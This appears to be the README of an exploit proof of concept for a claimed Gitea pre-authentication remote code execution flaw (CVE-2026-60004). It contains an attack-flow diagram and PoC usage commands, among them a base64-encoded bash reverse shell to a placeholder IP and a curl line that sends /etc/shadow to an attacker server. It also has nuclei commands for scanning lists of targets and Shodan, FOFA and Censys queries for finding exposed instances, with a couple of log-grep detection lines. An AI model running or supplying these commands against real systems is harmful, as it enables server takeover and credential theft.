┌──────────────────────────────────────────────────────────────┐
│  CVE-2026-60004  │  Gitea Pre-Auth RCE  │  CVSS 9.8 (CRIT)   │
│  diffpatch → git hook injection  │  v1.17–1.27.0 affected    │
└──────────────────────────────────────────────────────────────┘

Attacker                              Gitea Server
   │                                      │
   ├─ POST /user/sign_up ────────────────►│  Register new user
   │                                      │
   ├─ POST /api/v1/user/repos ───────────►│  Create private repo (auto-init)
   │                                      │
   ├─ GET /api/v1/repos/.../branches ────►│  Get commit SHA
   │                                      │
   ├─ POST /api/v1/repos/.../diffpatch ──►│  1st patch: plant hook
   │                                      │  Git creates bare clone
   │                                      │  Applies patch (--cached)
   │                                      │
   ├─ POST /api/v1/repos/.../diffpatch ──►│  2nd patch: SAME PATCH
   │   (same exact patch!)                │  ADD/ADD COLLISION!
   │                                      │  Git -3 fallback writes to disk
   │                                      │  hooks/post-index-change created
   │                                      │  Git fires post-index-change hook!
   │                                      │  ┌─ Command executes ─┐
   │                                      │  │ reads /etc/passwd  │
   │                                      │  │ stores in git blob │
   │                                      │  │ creates rce-proof  │
   │                                      │  │ branch             │
   │                                      │  └────────────────────┘
   │                                      │
   ├─ GET /api/v1/repos/.../raw/proof ───►│  Retrieve output
   │◄─────────────────────────────────────┤  /etc/passwd contents
   │                                      │

# Install dependencies (uses stdlib only — no pip needed!)
# Python 3.7+ required

# Quick one-liner
python3 cve-2026-60004-poc.py --url http://target --cmd "id"

# Mode 1: Full-Auto (register + create + exploit + retrieve)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto

# Mode 2: Semi-Auto (existing credentials)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode semi-auto \
    --user myuser --pw 'MyPass123!'

# Mode 3: Manual (existing user + repo)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode manual \
    --user myuser --pw 'MyPass123!' --repo existing-repo

# Mode 4: Check Only (non-intrusive detection)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode check

# Execute custom command
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "whoami; id; env"

# Reverse shell (base64 encoded)
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' | base64)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "echo $PAYLOAD | base64 -d | bash"

# Exfiltrate data via curl
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "curl http://your-server/$(cat /etc/shadow | base64 -w0)"

# Run against a single target
nuclei -t CVE-2026-60004.yaml -u http://target:3000

# Run against multiple targets
nuclei -t CVE-2026-60004.yaml -l targets.txt -o results.txt

# With debugging output
nuclei -t CVE-2026-60004.yaml -u http://target:3000 -debug -v

# Search for diffpatch abuse in Gitea logs
grep -E "POST.*diffpatch" /var/lib/gitea/log/gitea.log

# Check for suspicious repo creation + immediate diffpatch use
grep -E "(CreateRepository|diffpatch)" /var/lib/gitea/log/gitea.log

# Shodan
http.title:"Gitea"
http.favicon.hash:5247710

# FOFA
app="Gitea"
title="Gitea"

# Censys
services.software.product:"Gitea"